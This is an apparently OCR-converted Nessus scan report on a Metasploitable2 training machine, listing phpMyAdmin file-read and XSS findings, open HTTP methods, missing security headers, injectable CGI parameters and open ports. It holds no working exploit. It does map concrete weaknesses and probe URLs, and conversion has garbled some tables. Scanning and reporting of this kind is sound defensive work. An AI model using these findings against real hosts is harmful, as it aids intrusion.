XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

# Plugin Information

Published: 2011/01/06, Modified: 2022/04/11

# Plugin Output

# tcp/80/www

Nessus was able to exploit the issue using the following URL :

# 36083 - phpMyAdmin file\_path Parameter Vulnerabilities (PMASA-2009-1)

# Synopsis

The remote web server contains a PHP script that is affected by multiple issues.

# Description

The version of phpMyAdmin installed on the remote host fails to sanitize user-supplied input to the 'file\_path' parameter of the 'bs\_disp\_as\_mime\_type.php' script before using it to read a file and reporting it in dynamically-generated HTML. An unauthenticated, remote attacker may be able to leverage this issue to read arbitrary files, possibly from third-party hosts, or to inject arbitrary HTTP headers in responses sent to third-party users.

Note that the application is also reportedly affected by several other issues, although Nessus has not actually checked for them.

### See Also

https://www.phpmyadmin.net/security/PMASA-2009-1/

# Solution

Upgrade to phpMyAdmin 3.1.3.1 or apply the patch referenced in the project's advisory.

### Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

BID 34253

XREF SECUNIA:34468

### Plugin Information

Published: 2009/04/03, Modified: 2022/04/11

# Plugin Output

# tcp/80/www

# 49142 - phpMyAdmin setup.php Verbose Server Name XSS (PMASA-2010-7)

# Synopsis

The remote web server contains a PHP application that has a cross- site scripting vulnerability.

# Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input to the 'verbose server name' field.

A remote attacker could exploit this by tricking a user into executing arbitrary script code.

# See Also

https://www.tenable.com/security/research/tra-2010-02 https://www.phpmyadmin.net/security/PMASA-2010-7/

# Solution

Upgrade to phpMyAdmin 3.3.7 or later.

# Risk Factor

Medium

### **VPR Score**

3.0

# **EPSS Score**

0.0022

# CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

# CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

# References

CVE CVE-2010-3263 XREF TRA:TRA-2010-02

XREF CWE:20 XREF CWE:74

XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

# Plugin Information

Published: 2010/09/08, Modified: 2022/04/11

# Plugin Output

# tcp/80/www

By making a series of requests, Nessus was able to determine the following  $phpMyAdmin\ installation\ is\ vulnerable$  :

http://192.168.13.5/phpMyAdmin/

### 42057 - Web Server Allows Password Auto-Completion

# Synopsis

The 'autocomplete' attribute is not disabled on password fields.

# Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

### Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

# Risk Factor

Low

# Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

# Plugin Output

# tcp/80/www

Page : /phpMyAdmin/

Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php

Destination Page: /phpMyAdmin/index.php

# 26194 - Web Server Transmits Cleartext Credentials

# Synopsis

The remote web server might transmit credentials in cleartext.

# Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

# Solution

Make sure that every sensitive form transmits content over HTTPS.

# Risk Factor

Low

# CVSS v2.0 Base Score

# 2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

# References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

# Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

# Plugin Output

# tcp/80/www

Page : /phpMyAdmin/

Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php

Destination Page: /phpMyAdmin/index.php

# 18261 - Apache Banner Linux Distribution Disclosure

# Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

# Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

# Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2022/03/21

Plugin Output

tcp/0

The Linux distribution detected was :
- Ubuntu 8.04 (gutsy)

# 48204 - Apache HTTP Server Version

# Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

# Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

# See Also

https://httpd.apache.org/

# Solution

n/a

# Risk Factor

None

# References

**XREF** IAVT:0001-T-0030 **XREF** IAVT:0001-T-0530

# Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

# Plugin Output

# tcp/80/www

URL : http://192.168.13.5/ Version : 2.2.99

: Server: Apache/2.2.8 (Ubuntu) DAV/2 Source

backported : 1

modules : DAV/2
os : ConvertedUbuntu

# 84574 - Backported Security Patch Detection (PHP)

Synopsis
Security patches have been backported.
Description
Security patches may have been 'backported' to the remote PHP install without changing its version number.
Banner-based checks have been disabled to avoid false positives.
Note that this test is informational only and does not denote any security problem.
See Also
https://access.redhat.com/security/updates/backporting/?sc_cid=3093
Solution
n/a
Risk Factor
None
Plugin Information
Published: 2015/07/07, Modified: 2024/11/22
Plugin Output
tcp/80/www
Give Nessus credentials to perform local checks.

# 47830 - CGI Generic Injectable Parameter

# **Synopsis**

Some CGIs are candidate for extended injection tests.

# Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

None

References

XREF

CWE:86

# Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

# Plugin Output

# tcp/80/www

```
/twiki/bin/search/Main/SearchResult?search=%00hvdsvp
----- output -----
</form>Search: <b> !hvdsvp </b>
+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :
/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=%00hvd
----- output -----
<html><body>
<h1>TWiki Installation Error</h1>
Template file .hvdsvp.tmpl not found or template directory
/var/www/twiki/templates not found.
Check the $templateDir variable in TWiki.cfg.
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=%00hvdsvp
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</t.d>
<a href="./index.php?do=toggle-hints&page=.hvdsvp">Toggle Hints</a><
/td><a href="./index.php?do=toggle-security&page=.hvdsvp">Toggl
e Security</a>
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
+ The 'page' parameter of the /mutillidae/index.php CGI:
/mutillidae/index.php?page=%00hvdsvp
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=.hvdsvp">Toggle Hints</a><
/td><a href="./index.php?do=toggle-s [...]</pre>
```

# 33817 - CGI Generic Tests Load Estimation (all tests)

# Synopsis

Load estimation for web application tests.

# Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

# Solution

n/a

# Risk Factor

None

# Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

# Plugin Output

# tcp/80/www

Here are the estimated number of refor one method only (GET or POST) [Single / Some Pairs / All Pairs /	:		tions]		
on site request forgery	: S=6	SP=6	AP=6	SC=6	AC=6
SQL injection AC=2760	: S=888	SP=888	AP=1560	SC=168	
unseen parameters AC=4025	: S=1295	SP=1295	AP=2275	SC=245	
local file inclusion AC=115	: S=37	SP=37	AP=65	SC=7	
cookie manipulation	: S=10	SP=10	AP=10	SC=4	AC=10
web code injection AC=115	: S=37	SP=37	AP=65	SC=7	
XML injection AC=115	: S=37	SP=37	AP=65	SC=7	
format string AC=230	: S=74	SP=74	AP=130	SC=14	
script injection	: S=6	SP=6	AP=6	SC=6	AC=6

injectable parameter AC=230	: S=74	SP=74	AP=130	SC=14	
cross-site scripting (comprehensive test $AC=460$	): S=148	SP=148	AP=260	SC=28	
cross-site scripting (extended patterns)	: S=36	SP=36	AP=36	SC=36	AC=36
directory traversal (write access) AC=230	: S=74	SP=74	AP=130	SC=14	
SSI injection AC=345	: S=111	SP=111	AP=195	SC=21	
header injection	: S=12	SP=12	AP=12	SC=12	AC=12
HTML injection	: S=30	SP=30	AP=30	SC=30	AC=30
directory traversal AC=2875	: S=925	SP=925	AP=1625	SC=175	
cross-site scripting (quick test) [	]				

# 49704 - External URLs

# **Synopsis**

Links to external sites were gathered.

# Description

Nessus gathered HREF links to external sites by crawling the remote web server.

### Solution

n/a

### Risk Factor

None

# Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

### Plugin Output

### tcp/80/www

```
104 external URLs were gathered on this web server :
URL...
http://TWiki.org/
                                            - /twiki/bin/view/Main/WebHome
http://TWiki.org/cgi-bin/view/Main/TWikiAdminGroup - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/Main/TWikiUsers - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AlWilliams - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AndreaSterbini - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/BookView - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChangePassword - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChristopheVermeulen - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ColasNahaboo - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/CrisBailiff - /twiki/TWikiHistory.html http://TWiki.org/cgi-bin/view/TWiki/DavidWarman - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DontNotify - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FileAttachment - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FormattedSearch - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/HaroldGottschalk - /twiki/TWikiHistory.html http://TWiki.org/cgi-bin/view/TWiki/InterwikiPlugin - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnAltstadt - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnTalintyre - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KevinKinnell - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KlausWriessnegger - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingTopics - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingWebs - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManpreetSingh - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NewUserTemplate - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NicholasLee - /twiki/TWikiHistory.html
http://TWiki.org/cgi- [...]
```

# 43111 - HTTP Methods Allowed (per directory)

# Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

# Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

# See Also

tcp/80/www

http://www.nessus.org/u?d9c03a9a

http://www.nessus.org/u?b019cbdb

# https://www.owasp.org/index.php/Test\_HTTP\_Methods\_(OTG-CONFIG-006) Solution n/a Risk Factor None Plugin Information Published: 2009/12/10, Modified: 2022/04/11 Plugin Output

```
Based on the response to an OPTIONS request :
  - HTTP methods COPY DELETE GET HEAD LOCK MOVE OPTIONS POST PROPFIND
   PROPPATCH TRACE UNLOCK are allowed on :
    /dav/kb_gDCR5.htm
  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :
    /doc
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
    /dvwa/dvwa/includes/DBMS
   /dvwa/dvwa/js
    /icons
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
    /t.est.
    /test/testoutput
Based on tests of each method:
  - HTTP methods ACL BASELINE-CONTROL BCOPY BDELETE BMOVE BPROPFIND
   BPROPPATCH CHECKIN CHECKOUT COPY DEBUG DELETE GET HEAD INDEX
   LABEL LOCK MERGE MKACTIVITY MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS
   ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
   RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
   UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :
   /cgi-bin
   /twiki/bin
 - HTTP methods COPY DELETE GET HEAD MKCOL MKWORKSPACE MOVE NOTIFY
   OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
   RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
   UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :
    /dav
   /dav/kb_gDCR5.htm
  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :
   /doc
    /dvwa
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
   /dvwa/dvwa/includes/DBMS
    /dvwa/dvwa/js
    /icons
    /mutillidae
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
   /phpMyAdmin
    /test
    /test/testoutput
  - Invalid/unknown HTTP methods are allowed on :
    /cgi-bin
    /dav
```

/dav/kb\_gDCR5.htm
/twiki/bin

# 10107 - HTTP Server Type and Version

Synopsis	
A web serve	r is running on the remote host.
Description	
This plugin a	ttempts to determine the type and the version of the remote web server.
Solution	
n/a	
Risk Factor	
None	
References	
XREF	IAVT:0001-T-0931
Plugin Inforr	mation
Published: 20	000/01/04, Modified: 2020/10/30
Plugin Outpo	ut
tcp/80/www	
The remote	web server type is :
Apache/2.2	.8 (Ubuntu) DAV/2

# 24260 - HyperText Transfer Protocol (HTTP) Information

# **Synopsis**

Some information about the remote HTTP configuration can be extracted.

# Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

# Plugin Output

# tcp/80/www

```
Response Code : HTTP/1.1 200 OK
Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
Keep-Alive : yes
Options allowed: (Not implemented)
Headers:
 Date: Thu, 29 May 2025 13:57:41 GMT
 Server: Apache/2.2.8 (Ubuntu) DAV/2
 X-Powered-By: PHP/5.2.4-2ubuntu5.10
 Content-Length: 891
 Keep-Alive: timeout=15, max=100
 Connection: Keep-Alive
 Content-Type: text/html
Response Body :
<html><head><title>Metasploitable2 - Linux</title></head><body>
```

```
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

<a href="/twiki/">TWiki</a>
<a href="/phpMyAdmin/">phpMyAdmin</a>
<a href="/mutillidae/">Mutillidae</a>
<a href="/dwwa/">DWWA</a>
<a href="/dwwa/">DWWA</a>
<a href="/dwa/">WebDAV</a>

<a href="/dav/">WebDAV</a>

<a href="/dav/">WebDAV</a>
```

# 50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

# **Synopsis**

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

# Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

### See Also

http://www.nessus.org/u?55aa8f57

http://www.nessus.org/u?07cc2a06

https://content-security-policy.com/

https://www.w3.org/TR/CSP2/

### Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

# Risk Factor

None

# Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

# tcp/80/www

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a permissive policy:

- http://192.168.13.5/
- http://192.168.13.5/dav/
- http://192.168.13.5/dav/kb\_gDCR5.htm/
- http://192.168.13.5/dvwa/dvwa/
- http://192.168.13.5/dvwa/dvwa/css/
- http://192.168.13.5/dvwa/dvwa/images/
- http://192.168.13.5/dvwa/dvwa/includes/
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/MySQL.php
- http://192.168.13.5/dvwa/dvwa/includes/dvwaPage.inc.php

```
- http://192.168.13.5/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://192.168.13.5/dvwa/dvwa/js/
  - http://192.168.13.5/dvwa/login.php
  - http://192.168.13.5/mutillidae/
  - http://192.168.13.5/mutillidae/documentation/
  - http://192.168.13.5/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
  - http://192.168.13.5/mutillidae/documentation/vulnerabilities.php
  - http://192.168.13.5/mutillidae/framer.html
  - http://192.168.13.5/mutillidae/index.php
  - http://192.168.13.5/mutillidae/set-up-database.php
  - http://192.168.13.5/mutillidae/styles/
  - http://192.168.13.5/mutillidae/styles/ddsmoothmenu/
  - http://192.168.13.5/phpMyAdmin/
  - http://192.168.13.5/phpMyAdmin/index.php
  - http://192.168.13.5/test/
  - http://192.168.13.5/test/testoutput/
  - http://192.168.13.5/twiki/
  - http://192.168.13.5/twiki/TWikiHistory.html
  - http://192.168.13.5/twiki/bin/oops
  - http://192.168.13.5/twiki/bin/oops/Main
  - http://192.168.13.5/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour
  - http://192.168.13.5/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company
  - http://192.168.13.5/twiki/bin/search
  - http://192.168.13.5/twiki/bin/search/Main
  - http://192.168.13.5/twiki/bin/search/Main/SearchResult
  - http://192.168.13.5/twiki/bin/view
  - http://192.168.13.5/twiki/bin/view/Main
  - http://192.168.13.5/twiki/bin/view/Main/WebHome
```

# 50345 - Missing or Permissive X-Frame-Options HTTP Response Header

# **Synopsis**

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

# Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

### See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

# Solution

Set a properly configured X-Frame-Options header for all requested resources.

# Risk Factor

None

# Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

# Plugin Output

# tcp/80/www

The following pages do not set a X-Frame-Options response header or set a permissive policy:

- http://192.168.13.5/
- http://192.168.13.5/dav/
- http://192.168.13.5/dav/kb\_gDCR5.htm/
- http://192.168.13.5/dvwa/dvwa/
- http://192.168.13.5/dvwa/dvwa/css/
- http://192.168.13.5/dvwa/dvwa/images/
- http://192.168.13.5/dvwa/dvwa/includes/
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/MySQL.php - http://192.168.13.5/dvwa/dvwa/includes/dvwaPage.inc.php
- http://192.168.13.5/dvwa/dvwa/includes/dvwaPhpIds.inc.php
- http://192.168.13.5/dvwa/dvwa/js/
- http://192.168.13.5/dvwa/login.php
- http://192.168.13.5/mutillidae/
- http://192.168.13.5/mutillidae/documentation/

```
- http://192.168.13.5/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
 - http://192.168.13.5/mutillidae/documentation/vulnerabilities.php
  - http://192.168.13.5/mutillidae/framer.html
 - http://192.168.13.5/mutillidae/index.php
 - http://192.168.13.5/mutillidae/set-up-database.php
  - http://192.168.13.5/mutillidae/styles/
  - http://192.168.13.5/mutillidae/styles/ddsmoothmenu/
  - http://192.168.13.5/phpMyAdmin/
  - http://192.168.13.5/phpMyAdmin/index.php
  - http://192.168.13.5/test/
  - http://192.168.13.5/test/testoutput/
 - http://192.168.13.5/twiki/
  - http://192.168.13.5/twiki/TWikiHistory.html
  - http://192.168.13.5/twiki/bin/oops
  - http://192.168.13.5/twiki/bin/oops/Main
  - http://192.168.13.5/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour
  - http://192.168.13.5/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company
  - http://192.168.13.5/twiki/bin/search
  - http://192.168.13.5/twiki/bin/search/Main
  - http://192.168.13.5/twiki/bin/search/Main/SearchResult
  - http://192.168.13.5/twiki/bin/view
  - http://192.168.13.5/twiki/bin/view/Main
  - http://192.168.13.5/twiki/bin/view/Main/WebHome
```

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

# Solution

Protect your target with an IP filter.

# Risk Factor

None

# Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/21/ftp

Port 21/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

# Solution

Protect your target with an IP filter.

# Risk Factor

None

# Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/22/ssh

Port 22/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/23/telnet

Port 23/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/25/smtp

Port 25/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

# Solution

Protect your target with an IP filter.

# Risk Factor

None

# Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/53/dns

Port 53/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

# Solution

Protect your target with an IP filter.

# Risk Factor

None

# Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/80/www

Port 80/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

# Solution

Protect your target with an IP filter.

# Risk Factor

None

# Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/111/rpc-portmapper

Port 111/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/139/smb

Port 139/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/445/cifs

Port 445/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/512

Port 512/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/513

Port 513/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

# Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/514

Port 514/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

## Plugin Output

## tcp/1099

Port 1099/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

tcp/1524/wild\_shell

Port 1524/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

#### tcp/2049/rpc-nfs

Port 2049/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

## Plugin Output

#### tcp/2121/ftp

Port 2121/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

